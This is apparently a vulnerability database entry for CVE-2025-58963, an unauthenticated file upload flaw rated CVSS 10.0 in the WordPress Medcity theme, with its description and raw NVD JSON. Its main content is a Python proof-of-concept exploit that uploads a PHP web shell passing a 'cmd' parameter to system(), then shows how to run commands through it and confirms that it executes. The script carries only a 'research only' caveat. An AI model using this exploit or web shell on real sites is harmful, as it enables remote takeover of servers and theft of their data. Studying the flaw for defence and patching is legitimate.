Security Vulnerability Report
中文
CVE-2025-58963 CVSS 10.0 CRITICAL

CVE-2025-58963

Published: 2025-10-22 15:15:53
Last Modified: 2026-04-27 20:16:23

Description

Unrestricted Upload of File with Dangerous Type vulnerability in 7oroof Medcity medcity allows Upload a Web Shell to a Web Server.This issue affects Medcity: from n/a through < 1.1.9.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Medcity Theme < 1.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-58963 - WordPress Medcity Theme Arbitrary File Upload PoC Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys target_url = "http://target-site.com/" # Replace with target URL upload_endpoint = f"{target_url}wp-content/themes/medcity/inc/upload-handler.php" # Web Shell content web_shell = """<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>""" def exploit_upload(): """Attempt to upload malicious file""" files = { 'file': ('shell.php', web_shell, 'application/x-php') } try: response = requests.post(upload_endpoint, files=files, timeout=10) if response.status_code == 200: # Extract uploaded file path from response shell_path = f"{target_url}wp-content/uploads/shell.php" print(f"[!] Shell uploaded successfully!") print(f"[*] Shell location: {shell_path}") print(f"[*] Usage: {shell_path}?cmd=whoami") # Verify shell works verify = requests.get(f"{shell_path}?cmd=echo+vulnerable", timeout=10) if 'vulnerable' in verify.text: print("[+] Shell is executable - VULNERABLE!") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-58963 PoC - Medcity Theme File Upload") exploit_upload()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58963", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:52.830", "lastModified": "2026-04-27T20:16:22.830", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in 7oroof Medcity medcity allows Upload a Web Shell to a Web Server.This issue affects Medcity: from n/a through < 1.1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/medcity/vulnerability/wordpress-medcity-theme-1-1-9-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}